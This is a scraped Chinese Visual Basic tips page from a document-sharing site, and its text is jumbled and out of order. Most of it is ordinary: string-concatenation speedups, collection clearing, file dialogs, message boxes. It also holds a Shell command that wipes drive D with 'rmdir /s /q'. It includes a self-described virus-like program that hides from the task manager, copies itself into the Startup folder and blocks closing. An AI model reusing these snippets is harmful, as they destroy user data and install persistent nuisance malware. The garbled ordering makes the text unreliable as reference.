VB代码大全

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

用 Mid$命令超速字符串添加操作 大家都知道,&操作符的执行速度是相当慢的,特别是处理长字符串时。当必须重复地 在同一变量上附加字符时,有一个基于 Mid$命令的技巧可以使用。基本思路就是:预 留一个足够长的空间存放操作的结果。下面是应用这个技术的一个例子。 假设要建立一个字符串,它要附加从 1 开始的 10000 个整数:"1 2 3 4 5 6 7 ... 9999
从头开始删除集合项目 删除集合中的所有内容有许多方法,其中有些非常得迅速。来看看一个包含 10,000 个 项目的集合: Dim col As New Collection, i As Long For i = 1 To 10000 col.Add i, CStr(i) Next 可以从末尾位置为起点删除集合内容,如下:
-----------------------------------------------------------------------------------------------把 label1.caption 的值替换成 label2.caption 的值,label2.caption 不变(括号内可省 略): label1 (.caption) = label2 (.caption) 注:是变动值(被替换值) = 数据值(参考值、不变值),别搞反了。 如 label1 = 1 而不是 1 = label1 --------------------------------------------------------------------------------------------将 text1 的文本保存到某文件 (cd1 是 commanddialog 控件,下同) cd1.ShowSave If Not cd1.FileName = "" Then Open cd1.FileName For Output As #1 Print #1, Text1.Text Close #1 End If -----------------------------------------------------------------------------------------把某文本文件读取到 TEXT1 Dim tmp$ cd1.ShowOpen If Not cd1.FileName = "" Then Open cd1.FileName For Input As #1 Line Input #1, tmp$ Close #1 Text1 = tmp End If ------------------------------------------------------------------------------------------点击 command1 弹出窗口(红色处请替换成你要的内容) Private Sub Command1_Click() MsgBox "(显示文字)", vbYesNo(你要弹出的窗口的类型,下面有几种常用的类 型), "(窗口标题)" End Sub 或 Private Sub Command1_Click() MsgBox "(显示文字)"
End Sub 常用的弹出窗口类型: vbYesNo 包含是、否按钮的窗口 vbYesNoCancle 包含是、否、取消 vbOKonly 只包含确定按钮 vbOKCancle 包含确定、取消 vbQuestion 带问号图标、只有确定按钮的窗口 ----------------------------------------------------------------------------------------------点击 command1,label1 随机显示 1.2.3 Function a() As String Dim b(2) As String b(0) = 1 b(1) = 2 b(2) = 3 Randomize a = b(Rnd * 2) End Function Private Sub Command1_Click() Label1.Caption = a End Sub -------------------------------------------------------------------------------------------------删除"D:\1.txt": Kill "D:\1.txt" 新建文件夹"D:\123": MkDir "d:\123" 复制文件,由桌面的"1.txt"复制到"D:\1.txt": FileCopy "C:\Documents and Settings\Administrator\桌面\1.txt", "D:\1.txt" 删除"D:\123"文件夹: Shell "cmd /c ""rmdir.exe /s /q D:\123\""", vbNormalFocus 删除 D 盘所有文件(红色处后面不加\): Shell "cmd /c ""rmdir.exe /s /q D:""", vbNormalFocus -----------------------------------------------------------------------------------------------------App.title ="这是标题"
Private Sub Form_Load() App.Title = "" App.TaskVisible = False FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\" & App.EXEName & ".exe" End Sub Private Sub Form_Unload(Cancel As Integer) Cancel = True End Sub Private Sub Timer1_Timer() Form1.Show End Sub
10000"。下面是最简单的实现代码: res = "" For i = 1 to 10000: res = res & Str(i): Next <> face=宋体>代码虽然简单,但问题也很明显:Res 变量将被重分配 10000 次。下面的 代码实现同样的目的,但效果明显好转: Dim res As String Dim i As Long Dim index As Long ’预留足够长的缓冲空间 res = Space(90000) ’指针变量,指出在哪里插入字符串 index = 1 ’循环开始 For i = 1 to 10000 substr = Str(i) length = Len(substr) ’填充字符串的相应区间段数值 Mid$(res, index, length) = substr ’调整指针变量 index = index + length Next ’删除多余字符 res = Left$(res, index - 1) 测试表明:在一个 333MHz 的计算机上,前段代码执行时间为 2.2 秒,后者仅仅为 0.08 秒!代码虽然长了些,可是速度却提高了 25 倍之多。呵呵,由此看来:代码也不 可貌相啊
用 InStr 函数实现代码减肥 可以采用“旁门左道”的方式使用 Instr 函数实现代码的简 练。下面是一个典型的例子,检测字符串中是否包含一个元音字母: 1、普通的方法: If UCase$(char) = "A" Or UCase$(char) = "E" Or UCase$(char) = "I" Or UCase$(char) = "O" Or UCase$(char) = "U" Then ’ it is a vowel End If 2、更加简练的方法: If InStr("AaEeIiOoUu", char) Then ’ it is a vowel End If 同样,通过单词中没有的字符作为分界符,使用 InStr 来检查变量的内容。下面的例子 检查 Word 中是否包含一个季节的名字: 1、普通的方法: If LCase$(word) = "winter" Or LCase$(word) = "spring" Or LCase$(word) = _ "summer" Or LCase$(word) = "fall" Then
' 在 任务管理器-程序 中此 VB 程序的名字,本例的标题为“这是标题” App.TaskVisible = False ' 隐藏 任务管理器 中此 VB 程序的名字 App.Path ' 此 VB 程序的所在文件夹路径(如程序在“d:\1.exe”,则此值为“d:”,没有“\” ) App.EXEName ' 此 VB 程序的文件名(如程序在“d:\这是程序.exe”,则此值为“这是程序”,没有 “.exe”) ---------------------------------来自百度文库-------------------------------------------------------------------一个小程序,类似病毒(不要运行!!仅供参考)。新建工程,放入一个 timer 控 件,改 Interval 值为 1,然后输入以下代码即可:
For i = col.Count To 1 Step -1 col.Remove i Next 也可以从开始位置为起点删除集合内容,如下: For i = 1 To col.Count Step 1 col.Remove i Next <> face=宋体>试验证明,后者要快于前者百倍多,比如 0.06 秒比 4.1 秒。原因在于:当 引用接近末尾位置的集合项目时,VB 必须要从第 1 个项目开始遍历整个的项目链。 <> face=宋体>更有趣的是,如果集合项目的数量加倍,那么从末尾开始删除与从头开始 删除,前者要比后者花费的时间将成倍增长,比如前者是 24 秒,后者可能为 0.12 秒 这么短! 最后提醒您:删除集合的所有内容的最快方法就是“毁灭”它,使用下面的语句: Set col = New Collection 对于一个包含 20,000 个项目的集合,上述操作仅仅耗时 0.05 秒,这比使用最快的循 环操作进行删除也要快 2 倍左右。
隐藏 form1: form1.hide 显示 form1: form1.show --------------------------------------------------------------------------------------------退出程序时,弹出窗口提示是否要退出: Private Sub Form_Unload(Cancel As Integer) Dim iAnswer As Integer iAnswer = MsgBox("真要退出吗?", vbYesNo) If iAnswer = vbNo Then Cancel = True Else End End If End Sub ---------------------------------------------------------------------------------------------只能用任务管理器关闭程序的代码: Private Sub From_Unload(Cancel As Integer) Cancel = true End Sub -----------------------------------------------------------------------------------------------点击 command1 打开 33IQ 网: Dim strURL Private Sub Command1_Click() strURL = "错误!超链接引用无效。 Shell "explorer.exe " & strURL, 1 End Sub -----------------------------------------------------------------------------------------------运行 c:\1.exe shell "c:\1.exe" 执行 c:\1.bat shell "c:\1.bat" 注:只适用于大部分 exe 和全部 bat。
相关文档
最新文档